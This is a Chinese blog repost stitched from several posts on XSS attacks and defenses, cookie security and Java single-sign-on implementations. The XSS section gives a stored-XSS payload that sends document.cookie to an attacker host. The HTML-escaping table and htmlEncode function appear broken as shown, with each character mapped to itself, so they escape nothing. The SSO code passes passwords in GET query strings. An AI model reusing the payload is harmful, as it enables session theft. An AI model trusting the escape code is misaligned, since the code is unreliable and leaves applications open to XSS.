标签:
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="Java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容:<%=request.getParameter("content")%> </body> </html> |
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换 |
private static String htmlEncode(char c) { switch(c) { case ‘&‘: return"&"; case ‘<‘: return"<"; case ‘>‘: return">"; case ‘"‘: return"""; case ‘ ‘: return" "; default: return c +""; } }
/** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); } |
最近在公司做了Web端单点登录(SSO)功能,基于Cookie实现,做完之后感觉有必要总结一下,本文着重讲解Cookie,下文会说明单点登录的实现方案。
Cookie简介
众所周知,Web协议(也就是HTTP)是一个无状态的协议(HTTP1.0)。一个Web应用由很多个Web页面组成,每个页面都有唯一的URL来定义。用户在浏览器的地址栏输入页面的URL,浏览器就会向Web Server去发送请求。如下图,浏览器向Web服务器发送了两个请求,申请了两个页面。这两个页面的请求是分别使用了两个单独的HTTP连接。所谓无状态的协议也就是表现在这里,浏览器和Web服务器会在第一个请求完成以后关闭连接通道,在第二个请求的时候重新建立连接。Web服务器并不区分哪个请求来自哪个客户端,对所有的请求都一视同仁,都是单独的连接。这样的方式大大区别于传统的(Client/Server)C/S结构,在那样的应用中,客户端和服务器端会建立一个长时间的专用的连接通道。正是因为有了无状态的特性,每个连接资源能够很快被其他客户端所重用,一台Web服务器才能够同时服务于成千上万的客户端。
但是我们通常的应用是有状态的。先不用提不同应用之间的SSO,在同一个应用中也需要保存用户的登录身份信息。例如用户在访问页面1的时候进行了登录,但是刚才也提到,客户端的每个请求都是单独的连接,当客户再次访问页面2的时候,如何才能告诉Web服务器,客户刚才已经登录过了呢?浏览器和服务器之间有约定:通过使用cookie技术来维护应用的状态。Cookie是可以被Web服务器设置的字符串,并且可以保存在浏览器中。如下图所示,当浏览器访问了页面1时,web服务器设置了一个cookie,并将这个cookie和页面1一起返回给浏览器,浏览器接到cookie之后,就会保存起来,在它访问页面2的时候会把这个cookie也带上,Web服务器接到请求时也能读出cookie的值,根据cookie值的内容就可以判断和恢复一些用户的信息状态。
Cookie组成
cookie是由名称、内容、作用路径、作用域、协议、生存周期组成,另外还有个HttpOnly属性,HttpOnly属性很重要,如果您在cookie中设置了HttpOnly属性,那么通过js脚本(document.cookie)将无法读取到cookie信息,这样能一定程度上的防止XSS攻击,关于XSS可以看我之前的文章--XSS攻击及防御。Tomcat服务器设置的JSESSIONID就是HttpOnly的。
JavaEE中对cookie做了封装,对应的是下面这个类:
java.lang.Object | +--javax.servlet.http.Cookie该类可以设置cookie的名称、内容、作用路径、作用域、协议、生存周期,but不能设置HttpOnly属性,不知道这么做是出于什么考虑,如果非要设置HttpOnly的cookie,我们可以通过响应头来处理: Cookie作用域
测试三,修改SetCookie.jsp第五行代码为cookie.setDomain(".web2.com"),首先访问http://web1.com:8080/WebSSOAuth/SetCookie.jsp,设置cookie后,这时我们访问http://web2.com:8080/WebSSOAuth/ShowCookie.jsp,发现页面什么都没有输出,这时我们得出结论,cookie不能跨二级域名设置。
Cookie安全性
cookie中的数据通常会包含用户的隐私数据,首先要保证数据的保密性,其次要保证数据不能被伪造或者篡改,基于这两点,我们通常需要对cookie内容进行加密,加密方式一般使用对称加密(单密钥,如DES)或非对称加密(一对密钥,如RSA),密钥需要保存在服务器端一个安全的地方,这样,别人不知道密钥时,无法对数据进行解密,也无法伪造或篡改数据。另外,像上文提到的,重要的cookie数据需要设置成HttpOnly的,避免跨站脚本获取你的cookie,保证了cookie在浏览器端的安全性。还有我们可以设置cookie只作用于安全的协议(https),JavaEE中可以通过Cookie类的setSecure(boolean flag)来设置,设置后,该cookie只会在https下发送,而不会再http下发送,保证了cookie在服务器端的安全性,服务器https的设置可以参照该文章。
单点登录(Single Sign On),简称为SSO,SSO不仅在企业级开发很常用,在互联网中更是大行其道。随便举几个例子,比如我们登录新浪微博后,再访问新浪首页后,我们发现,已经自动登录了;再比如我们登录CSDN后,可以写博客、逛论坛、下载资源等等。前者是完全跨域的单点登录,下文会讲,后者是共同父域下(www.csdn.net、blog.csdn.net、bbs.csdn.net、passport.csdn.net)的单点登录,也就是本文的主要内容。
单点登录实际上是“身份认证”的整合,当我们存在多个应用时,我们希望登录了其中的一个应用,再访问其他应用时,会自动登录,避免用户重复的体力劳动。单点登录的实现原理是比较简单的,如下图所示,当用户通过浏览器第一次访问应用系统1时,由于还没有登录,会被引导到认证系统进行登录。下面开始单点登录的过程:认证系统根据用户在浏览器中输入的登录信息,进行身份认证,如果认证通过,返回给浏览器一个证明ticket(票);用户再访问其它应用系统时,会带着ticket;应用系统接收到ticket后,会将其发送到认证系统进行合法性校验;校验通过后,用户就不需要再次输入用户名密码来登录了,从而实现了单点登录的功能。
上面描述的过程实际上是WEB-SSO。要实现SSO,首先必须要有统一的认证系统,其次每个应用系统都通过认证系统来校验用户,所以这需要两方面的配合。WEB-SSO是比较好实现的,尤其是共同父域的情况下,我们可以通过浏览器的cookie来保存ticket。今天我用Servlet技术实现了SSO的主要功能,可以在这里下载项目。
域名准备
修改hosts文件,映射3个域名:
3个域名必须拥有共同父域(.ghsau.com),web1和web2用于访问应用系统,passport用于访问认证系统。
项目部署
项目中包含的是两个Eclipse Project,导入到Eclipse/MyEclipse后,可能需要设置下JavaEE类库。WebSSOAuth为认证系统,WebSSODemo为应用系统,如果映射的域名和我设置的一样,不需要设置,直接部署即可。如果不一样,需要修改下两个项目的web.xml文件。关键配置信息如下:
WebSSOAuth/WEB-INF/web.xml:
SSO使用
首先输入第一个应用系统的访问地址,http://web1.ghsau.com:8080/WebSSODemo/index.jsp,如果是第一次访问的话,会自动跳转到登录页,如下图:
系统中内置了3个用户,张三、李四、王五,用户名和密码皆为拼音全拼,输入zhangsan/zhangsan登录后,会自动跳转到我们刚才访问的页面,页面中显示了登录的用户名及欢迎信息,如下图:
这时,我们再输入第二个应用系统的访问地址,http://web2.ghsau.com:8080/WebSSODemo/index.jsp,我们发现,没有进行第二次登录,同样页面中显示了登录的用户名及欢迎信息,如下图:
我们接着点击Logout注销用户,页面跳转到了登录页面,这时我们再回头访问第一个应用系统的页面,发现同样跳转到了登录页面。这给用户的使用效果就是,一个应用登录了,其它的应用都会自动登录,而一个应用中注销了,其它的应用也都会自动注销,好神奇的样子。
项目中提供了源码,代码的实现思路就是上面的那个图,ticket保存在cookie中,利用cookie域的特性,实现了ticket在不同应用中都能够获取到,ticket的验证过程是使用了HttpClient来发送的验证请求,ticket的加密使用了3DES,具体可以看DESUtils.Java,好了,就到这里吧
完全跨域的单点登录实现方案基本和上篇文章介绍的一样,只不过生成ticket的过程更复杂些。上篇文章中的项目是不能完全跨域的,由于多个应用系统以及认证系统域不同,也没有共同的父域,导致登录后,认证系统向浏览器写的ticket在其它应用系统中获取不到,这时访问其它应用系统时,没有携带着ticket的cookie,无法认证也无法单点登录。那解决的方案是每个应用系统都向浏览器cookie中写入ticket,请看下图,图中浅蓝色圆角区域代表不同的域,当用户通过浏览器第一次访问应用系统1时,由于还没有登录,会被引导到认证系统进行登录。下面开始单点登录的过程:认证系统根据用户在浏览器中输入的登录信息,进行身份认证,如果认证通过,返回给浏览器一个证明[认证系统_ticket];这时再通过浏览器将[认证系统_ticket]发送到到应用系统1的设置cookie的url,应用系统1返回给浏览器一个证明[应用系统1_ticket],这时再将请求重定向到最初访问的页面,以后应用系统1就可以自动登录了。现在用户访问了应用系统2,由于应用系统2没有生成过cookie(但是用户已经在应用系统1登录过一次了),将请求重定向到认证系统;认证系统检测到已经生成过[认证系统_ticket]了,认证通过;再通过浏览器将[认证系统_ticket]发送到到应用系统2的设置cookie的url,应用系统2返回给浏览器一个证明[应用系统2_ticket],这时再将请求重定向到最初访问的页面。应用系统3也同样原理,我们等于将ticket做了一次同步,保证了每个应用系统都有一份认证系统产生的ticket。剩余的ticket验证过程和上篇文章一样了。
ticket同步的过程用jsonp应该也可以实现,我基于上篇文章中的项目实现了完全跨域的单点登录,可以在这里下载项目。
域名准备
修改hosts文件,映射3个域名:
三个域名都是独立的,没有共同父域,web1和web2用于访问应用系统,passport用于访问认证系统。
项目部署
项目中包含的是两个Eclipse Project,导入到Eclipse/MyEclipse后,可能需要设置下JavaEE类库。WebSSOAuth为认证系统,WebSSODemo为应用系统,如果映射的域名和我设置的一样,不需要设置,直接部署即可。如果不一样,需要修改下WebSSODemo/WEB-INF/web.xml文件。关键配置信息如下:
如果域名或端口号和我的不一致,可以修改对应配置项。最后部署到应用服务器中,启动服务器。
SSO使用
首先输入第一个应用系统的访问地址,http://web1.com:8080/WebSSODemo/index.jsp,如果是第一次访问的话,会自动跳转到登录页,如下图:
系统中内置了3个用户,张三、李四、王五,用户名和密码皆为拼音全拼,输入zhangsan/zhangsan登录后,会自动跳转到我们刚才访问的页面,页面中显示了登录的用户名及欢迎信息,如下图:
这时,我们再输入第二个应用系统的访问地址,http://web2.com:8080/WebSSODemo/index.jsp,我们发现,没有进行第二次登录,同样页面中显示了登录的用户名及欢迎信息,如下图:
我们接着点击Logout注销用户,页面跳转到了登录页面,这时我们再回头访问第一个应用系统的页面,发现同样跳转到了登录页面。
互联网中的完全跨域登录的站点也有很多,如淘宝和天猫,但肯定不是我这样实现的。我的实现中,认证系统和应用系统是通过url参数来传递ticket,可能存在一些不稳定因素。应用系统的每次请求都会通过HTTP远程到认证系统进行验证ticket,速度上应该会慢一些,这里可以改进一步,在每个应用系统中也维护一份tickets,验证时,首先到本系统中验证,如果不存在,再远程到认证系统进行验证,但这也增加了应用系统的代码量
package DesktopSSO;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import java.util.concurrent.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class SSOAuth extends HttpServlet {
static private ConcurrentMap accounts;
static private ConcurrentMap SSOIDs;
String cookiename="WangYuDesktopSSOID";
String domainname;
public void init(ServletConfig config) throws ServletException {
super.init(config);
domainname= config.getInitParameter("domainname");
cookiename = config.getInitParameter("cookiename");
SSOIDs = new ConcurrentHashMap();
accounts=new ConcurrentHashMap();
accounts.put("wangyu", "wangyu");
accounts.put("paul", "paul");
accounts.put("carol", "carol");
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
String action = request.getParameter("action");
String result="failed";
if (action==null) {
handlerFromLogin(request,response);
} else if (action.equals("authcookie")){
String myCookie = request.getParameter("cookiename");
if (myCookie != null) result = authCookie(myCookie);
out.print(result);
out.close();
} else if (action.equals("authuser")) {
result=authNameAndPasswd(request,response);
out.print(result);
out.close();
} else if (action.equals("logout")) {
String myCookie = request.getParameter("cookiename");
logout(myCookie);
out.close();
}
}
.....
}
|
private void handlerFromLogin(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
String password = request.getParameter("password");
String pass = (String)accounts.get(username);
if ((pass==null)||(!pass.equals(password)))
getServletContext().getRequestDispatcher("/failed.html").forward(request, response);
else {
String gotoURL = request.getParameter("goto");
String newID = createUID();
SSOIDs.put(newID, username);
Cookie wangyu = new Cookie(cookiename, newID);
wangyu.setDomain(domainname);
wangyu.setMaxAge(60000);
wangyu.setValue(newID);
wangyu.setPath("/");
response.addCookie(wangyu);
System.out.println("login success, goto back url:" + gotoURL);
if (gotoURL != null) {
PrintWriter out = response.getWriter();
response.sendRedirect(gotoURL);
out.close();
}
}
}
|
package SSO;
import java.io.*;
import java.net.*;
import java.util.*;
import java.text.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.*;
import org.apache.commons.httpclient.*;
import org.apache.commons.httpclient.methods.GetMethod;
public class SSOFilter implements Filter {
private FilterConfig filterConfig = null;
private String cookieName="WangYuDesktopSSOID";
private String SSOServiceURL= "http://wangyu.prc.sun.com:8080/SSOAuth/SSOAuth";
private String SSOLoginPage= "http://wangyu.prc.sun.com:8080/SSOAuth/login.jsp";
public void init(FilterConfig filterConfig) {
this.filterConfig = filterConfig;
if (filterConfig != null) {
if (debug) {
log("SSOFilter:Initializing filter");
}
}
cookieName = filterConfig.getInitParameter("cookieName");
SSOServiceURL = filterConfig.getInitParameter("SSOServiceURL");
SSOLoginPage = filterConfig.getInitParameter("SSOLoginPage");
}
.....
.....
}
|
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
if (debug) log("SSOFilter:doFilter()");
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
String result="failed";
String url = request.getRequestURL().toString();
String qstring = request.getQueryString();
if (qstring == null) qstring ="";
//检查http请求的head是否有需要的cookie
String cookieValue ="";
javax.servlet.http.Cookie[] diskCookies = request.getCookies();
if (diskCookies != null) {
for (int i = 0; i < diskCookies.length; i++) {
if(diskCookies[i].getName().equals(cookieName)){
cookieValue = diskCookies[i].getValue();
//如果找到了相应的cookie则效验其有效性
result = SSOService(cookieValue);
if (debug) log("found cookies!");
}
}
}
if (result.equals("failed")) { //效验失败或没有找到cookie,则需要登录
response.sendRedirect(SSOLoginPage+"?goto="+url);
} else if (qstring.indexOf("logout") > 1) {//logout服务
if (debug) log("logout action!");
logoutService(cookieValue);
response.sendRedirect(SSOLoginPage+"?goto="+url);
} else {//效验成功
request.setAttribute("SSOUser",result);
Throwable problem = null;
try {
chain.doFilter(req, res);
} catch(Throwable t) {
problem = t;
t.printStackTrace();
}
if (problem != null) {
if (problem instanceof ServletException) throw (ServletException)problem;
if (problem instanceof IOException) throw (IOException)problem;
sendProcessingError(problem, res);
}
}
}
|
private String SSOService(String cookievalue) throws IOException {
String authAction = "?action=authcookie&cookiename=";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+authAction+cookievalue);
try {
httpclient.executeMethod(httpget);
String result = httpget.getResponseBodyAsString();
return result;
} finally {
httpget.releaseConnection();
}
}
private void logoutService(String cookievalue) throws IOException {
String authAction = "?action=logout&cookiename=";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+authAction+cookievalue);
try {
httpclient.executeMethod(httpget);
httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
}
|
DesktopSSO {
desktopsso.share.PasswordLoginModule required;
desktopsso.share.DesktopSSOLoginModule required;
};
|
public class DesktopSSOLoginModule implements LoginModule {
..........
private String SSOServiceURL = "";
private String SSOLoginPage = "";
private static String cookiefilepath = "";
.........
|
SSOServiceURL=http://wangyu.prc.sun.com:8080/SSOAuth/SSOAuth
SSOLoginPage=http://wangyu.prc.sun.com:8080/SSOAuth/login.jsp
cookiefilepath=C:\\Documents and Settings\\yw137672\\Application Data\\Mozilla\\Profiles\\default\\hog6z1ji.slt\\cookies.txt
|
public boolean login() throws LoginException{
try {
if (Cookielogin()) return true;
} catch (IOException ex) {
ex.printStackTrace();
}
if (passwordlogin()) return true;
throw new FailedLoginException();
}
|
public boolean Cookielogin() throws LoginException,IOException {
String cookieValue="";
int cookieIndex =foundCookie();
if (cookieIndex<0)
return false;
else
cookieValue = getCookieValue(cookieIndex);
username = cookieAuth(cookieValue);
if (! username.equals("failed")) {
loginSuccess = true;
return true;
}
return false;
}
|
public boolean passwordlogin() throws LoginException {
//
// Since we need input from a user, we need a callback handler
if (callbackHandler == null) {
throw new LoginException("No CallbackHandler defined");
}
Callback[] callbacks = new Callback[2];
callbacks[0] = new NameCallback("Username");
callbacks[1] = new PasswordCallback("Password", false);
//
// Call the callback handler to get the username and password
try {
callbackHandler.handle(callbacks);
username = ((NameCallback)callbacks[0]).getName();
char[] temp = ((PasswordCallback)callbacks[1]).getPassword();
password = new char[temp.length];
System.arraycopy(temp, 0, password, 0, temp.length);
((PasswordCallback)callbacks[1]).clearPassword();
} catch (IOException ioe) {
throw new LoginException(ioe.toString());
} catch (UnsupportedCallbackException uce) {
throw new LoginException(uce.toString());
}
System.out.println();
String authresult ="";
try {
authresult = userAuth(username, password);
} catch (IOException ex) {
ex.printStackTrace();
}
if (! authresult.equals("failed")) {
loginSuccess= true;
clearPassword();
try {
updateCookie(authresult);
} catch (IOException ex) {
ex.printStackTrace();
}
return true;
}
loginSuccess = false;
username = null;
clearPassword();
System.out.println( "Login: PasswordLoginModule FAIL" );
throw new FailedLoginException();
}
|
private String cookieAuth(String cookievalue) throws IOException{
String result = "failed";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+Action1+cookievalue);
try {
httpclient.executeMethod(httpget);
result = httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
return result;
}
private String userAuth(String username, char[] password) throws IOException{
String result = "failed";
String passwd= new String(password);
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+Action2+username+"&password="+passwd);
passwd = null;
try {
httpclient.executeMethod(httpget);
result = httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
return result;
}
|
标签:
原文地址:http://blog.csdn.net/he90227/article/details/51491997